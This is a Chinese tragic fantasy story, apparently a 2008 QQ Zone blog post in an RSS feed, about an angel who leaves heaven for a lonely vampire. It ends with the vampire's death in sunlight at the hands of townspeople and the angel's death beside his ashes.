「我在人间遇见了一个吸血鬼，他非常渴求阳光。 <br>　　从他的眼神里我可以看得出来，他过得很寂寞，数百年都活在距离人群很远很远， 而且很伤心的黑暗里。」 <br>　　天使试着向上帝剖析心里的想法。 <br>   「因为这样，我实在很想帮助他。想靠近他，跟他说说话，当我说以后不能再见的时候，我知道他在身后用很不舍的目光送我离开。」 <br>　　「把他忘了吧，这不是值得你念念不忘的事。」 <br>　　上帝对天使吩咐，他彷佛已经预见了未来将会发生的事情，而再三叮咛。 <br>　　「遗忘他，否则你会承受更大的痛苦。」 <br>　　天使乖巧地听从了上帝的指示，他决定不再去想有关吸血鬼的事，他来到天堂的深处，静静地隐居起来。 <br>　　日子很安稳的过去，只是偶尔天使会没来由的心痛。 <br>　　而人间的吸血鬼也是如此。 <br>　　天使明明对自己说过不会再来，吸血鬼仍旧在每个上弦月夜痴痴地等待。 <br>　　「也许他会意外地出现也不一定。」吸血鬼喃喃自语，可是他的等待换来的却是反覆地失望与打击。 <br>　　渐渐地，吸血鬼变成每天每天的等待，他幻想或者天使曾经来过，和出外猎食的自己在无意间错过了。 <br>　　他不再出门吸血，魔力也越来越弱，像是在消失中一般等待着天使降临。 <br>　　其他的天使得知了这个吸血鬼的惨状后，纷纷向上帝报告。 <br>　　「天空不可能同时出现太阳和月亮，如果他们非要在一起，天使就必须永远地陪着对方被禁锢在黑夜里。」 <br>　　上帝不忍让心爱的天使陪着魔物活在暗无天日的世界，他下令众神不可以接近那位隐居的天使，也不得把吸血鬼逐渐灭亡的事实透露给他。 <br>    日子很快就无情地过去了，吸血鬼的力量孱弱到连夜晚都无力外出的地步。 <br>　　魔力耗尽之后，吸血鬼就会沉睡，一直睡到力量被月光补足为止。 <br>　　这段期间他完全没有知觉，也不会作梦，他会继续安静地睡着，如果时间不能带走什么，睡眠或许可以淡化掉一些物质，至少吸血鬼能把想念天使的时间，用睡眠来打发。</div><div style="text-align:center;">假使有教士放火烧了他的躯壳，吸血鬼也不会感到痛楚，就此烟消云散地灭去。 <br>　　他不怕毁灭，怕的是再也不能见到天使。他用空洞的眼神凝视着夜空，自己日夜不停思念的人就在那片天空的最上层，那里是神圣的领域，不是他这种不洁的魔物可以妄想进入的地方。 <br>　　天使现在正在做些什么呢？ <br>　　大概正用优雅的姿态弹着黄金制成的竖琴，愉快的和其他天使说话吧。 <br>　　不知道他会不会记得，曾经坐在自己身边的那三个上弦月夜？ <br>　　可能对天使而言，那只是一件任务过程里的小插曲，但对吸血鬼来说，那三个月夜里他所得到的幸福，已经足以抵销过去数百年来不断忍受着的寂寞煎熬，有了那三天的回忆，<br>　　叫他度过数百年的孤单也无妨。 <br>　　遗憾的是……自己恐怕没有再撑过下个百年的魔力。 <br>　　吸血鬼深切的悲哀，同样也传达到天使的心里。 <br>　　深入简出的他在天上看着太阳和月亮的运转，天使常常莫名其妙地低声哭泣，他觉得自己体内好像永恒的失去了一种东西。 <br>　　怎么能简单的说忘就忘呢？ <br>　　太过净白闪亮的天堂，周围都是穿着鲜艳衣服的天使，温柔是假的，微笑是假的，宁静也是假的， <br>　　一切都让他难过的想哭。忧郁的吸血鬼，现在是否正望着月空想念着我呢？ <br>　　长久居住的黑暗是唯一能保护他的薄膜，他其实是如此脆弱，如此空虚的，然而自己却背弃了他，背弃了那个比任何人都还渴望救赎的吸血鬼。 <br>　　天使的眼泪飘洒在地上，变成一场伤心的雨在人间下着。 <br>　　「我想见他。」天使这么下了决心，可是没有上帝敕令的他是不能擅自下凡的，他只好偷偷地从天堂的边界溜走，没想到正要逃离的当口，上帝显现在他面前。 <br>　　「我的孩子，你为什么要离开这里呢？」上帝分析着后果。 <br>　　「一旦你去了吸血鬼的身边，就再也不能回到天上了，而且会被狂信者视为黑暗的敌人般攻击你，那是很可怕的。」 <br>　　「那就让我变成黑暗里唯一的光吧，至少可以照亮他。」 <br>　　「你无论如何也不能遗忘他吗？」 <br>　　「如果他放弃等待我的话，我会遗忘他的。」 <br>　　「……」上帝沉默了，他心疼天使的坚决，也叹息天使的不幸。 <br>　　「让我祝福你吧，孩子。虽然你不能再回到天上过着安宁的生活， <br>　　但我允许你在承受不了时可以把身上的翅膀拔起来，那时我会给你永远的平静。」 <br>　　于是天使慢慢在人间降落。 <br>　　那天正好是上弦月夜，当吸血鬼看到天使从月亮的光晕里飞来时，憔悴的他甚至高兴地跳了起来。 <br>    「你会留下来吗？」 <br>　　「除了你身边，我已经哪里都不想去了。」 <br>　　天使一边流泪，一边拥紧了对方。他们就开始了这种奇妙的同居生活。 <br>　　吸血鬼的魔力耗弱到夜晚也不能走出棺木的程度，天使只能在他身边守护他，在夜晚吸血鬼苏醒的片刻里说话给他听。 <br>　　「我一无所有，你知道的。在遇见你之前， 我一直认为世界上没有任何为我存在的事物，可是因为你，我看到了以前从来不曾看过的风景。」吸血鬼后来这么对天使说。 <br>　　「风景好美，可是我却很不安，太过幸福了，对我这个魔物来讲是不允许的。我不知道沿路的风景将会通往何处，也许幸福会突然中断在转角处的地方。」 <br>　　「你会害怕吗？」天使牵起吸血鬼冷冰冰的手。 <br>　　「我怕失去你，也可以说，我觉得最后必然会失去你，永远地失去，我怕那一天来 临。」 <br>　　「我不会离开你。」 <br>　　「如果离开的是我呢？」 <br>　　「你会吗？」 <br>　　「不会，我如果走了，留下不能回到天堂的你该怎么办。」 <br>　　「我们的手要一直牵着，不放开。」 <br>　　天使亲吻吸血鬼的手掌，再把吸血鬼的手覆盖在自己脸上。</div><div style="text-align:center;">某日，有一个小孩迷路闯进城堡，天使把他送回城镇里的家，从此天使居住在城里的消息就传开了，许多的朝圣者和教士都蜂涌而至，其中也有向天使求诊的病患。 <br>　　天使只开放白天的时候看病，他并不理会朝圣者或是教士。 <br>　　一位碰壁的朝圣者就趁天使行神迹时跑到城里乱逛，他发现了吸血鬼的存在。 <br>　　一时间谣言四起。 <br>    有人说这位天使竟然跟魔物住在一起，可见他不是什么好东西，也有人说天使是为了净化魔物，才会跟魔物共处一室。 <br>　　城镇里高官们私下决定，因为慕天使之名而来的观光信徒使得他们赚取了相当多的利益，所以不管用什么手段都要抹灭掉这个魔物，他会造成天使的污点。 <br>　　他们派遣传教士潜伏在城堡四周，再用计诱出天使。 <br>　　「不好了，房官大人生了急病，请您马上过去一趟。」 <br>　　天使眨眨眼，直觉有种奇怪的不祥预感，但他仍随着侍从离开城堡。 <br>　　城里的吸血鬼被持着十字架和木桩的教士团团包围，他们吟唱着刺耳的咒文，迫使吸血鬼醒来。 <br>　　这是怎么回事？ <br>　　虚弱的吸血鬼从沉睡中清醒，他使劲咬开教士们的喉咙，杀出一条血路。 <br>　　天使呢？被这些人类带走了吗？他在哪里，会不会有危险？ <br>　　吸血鬼逃避着追捕者，毕竟地形他非常熟悉，很快他就躲藏在一个被厚重窗廉裹住的黑暗角落里。 <br>　　「魔物呢？」 <br>　　「逃得真快！」 <br>　　教士们的脚步声在他身边来回奔跑着。 <br>　　「该死的人类！要不是现在是白天，我会让你们通通死得很难看。」 <br>　　吸过人血的吸血鬼多少恢复了一点往日的锐气，他计划着等天黑之后要如何带着天使离开的路线，忽然，吸血鬼发觉远处有个小孩正傻傻的走近自己。 <br>　　只要吸了这个孩子的血，我的力量就会更加强壮……他无声地窥视着幼童，幼童也离自己越来越近。 <br>　　说时迟那时快，他一把将小孩的嘴捂住，拖进黑暗处。 <br>　　 <br>　　近看这个孩子，吸血鬼认出他就是天使曾经照顾过的那个迷路小童。如果杀了他的话，天使会难过的吧……想到这里的吸血鬼松开了手，小声说。 「你走吧，我不杀你。」 <br>　　那孩子双眼圆睁，不敢相信自己这么幸运，他连滚带爬地逃走，但是下一瞬间，那孩子像变了个人似的恶狠狠地回身瞪着吸血鬼。 <br>　　「你是亵渎天使的魔物，杀了你是我送给天使最好的礼物！」 <br>　　孩子使劲地掀开窗廉，完全来不及反应的吸血鬼被整个曝晒在阳光下…… <br>　　天使的心口忽地被揪紧般地疼痛了起来，他痛苦的蹲在地上，侍从惊慌地问。 <br>　　「您，您没事吧？」 <br>　　天使强烈地意识到发生了什么大事，他急忙地掉头，轻盈地展翅飞回城堡，被留下的侍从着急地叫嚷，他也暂且不管了。 <br>　　<br>    城里像举行了一场大型的庆功宴那样，一个孩子被众人高高抛向天空，再被接住，他们大声欢呼，赞美那孩子勇气和胆识的词句如流水般从他们口中吐出。 <br>　　「应该颁一个勋章给你啊！」 <br>　　「真是我们的光荣，守护了我们全镇的小英雄。」 <br>　　「啊！天使！」 <br>　　有人发现到天使不知何时已呆然地站在一边，他们捧着那孩子，让他坐在肩头上，一齐涌向天使邀功。 <br>　　「这个孩子除掉了魔物啊！」 <br>　　「请天使给他祝福吧！」 <br>　　「这可是神圣之力战胜魔物最值得纪念的一刻，我们要立碑纪念才是。」 <br>　　天使排开了众人，他飞奔至庭院中央用红丝线围绕着的一堆尘土旁，脑中轰然一声巨响…… <br>　　「我生了一种不能见到阳光的病，请你医治我。」 <br>　　「……这样也好，比起这里，天堂想必是非常明亮温暖的吧。」 <br>　　上帝啊，吸血鬼是多么期盼阳光的照耀， <br>　　而阳光又回报了他些什么？天使放声哭了出来，大家面面相觑，不知所措。<br>　　「除了你身边，我已经哪里都不想去了。」 <br>　　哀恸地环视众人一周后，天使伸手用力地拽下身后的洁白双翅。 <br>　　大量的鲜血喷出，溅红了那些尘土，天使俯在尘土上，再也没张开过眼睛。 <br>　　风沾染了天使的情绪，狂乱地将红色尘土吹得漫天飘扬。 <br>　　或许眼睛里跑进了这些沙粒的关系，围观的人们散去时都流下了眼泪。 <br>　　如果永远真的存在.... <br>　　就让我爱你.... 在永远的每一天.... <br>　　如果永远不存在.... <br>　　就让时间停下来.... 在我爱上你的瞬间...</div> <!--v:3.2--> ]]></description>
<category><![CDATA[感人的]]></category>
<author><![CDATA[524384864@qq.com(傷雞。敗寇)]]></author>
<comments>http://524384864.qzone.qq.com/blog/1221629471#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Wed, 17 Sep 2008 05:31:11 GMT</pubDate>
<guid>http://524384864.qzone.qq.com/blog/1221629471</guid>
</item>

</channel>
</rss>

